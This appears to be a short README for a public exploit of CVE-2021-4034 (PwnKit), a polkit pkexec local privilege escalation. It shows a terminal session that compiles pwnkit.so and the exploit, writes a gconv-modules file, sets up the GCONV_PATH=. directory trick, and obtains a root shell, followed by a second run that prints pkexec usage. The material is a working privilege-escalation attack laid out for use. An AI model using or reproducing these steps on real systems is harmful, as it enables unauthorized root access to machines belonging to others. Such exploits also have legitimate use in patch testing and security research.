CVE-2021-4034
One day for the polkit privilege escalation exploit
exploit
test@ubuntu:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
test@ubuntu:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Failed
test@ubuntu:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
test@ubuntu:~/CVE-2021-4034$
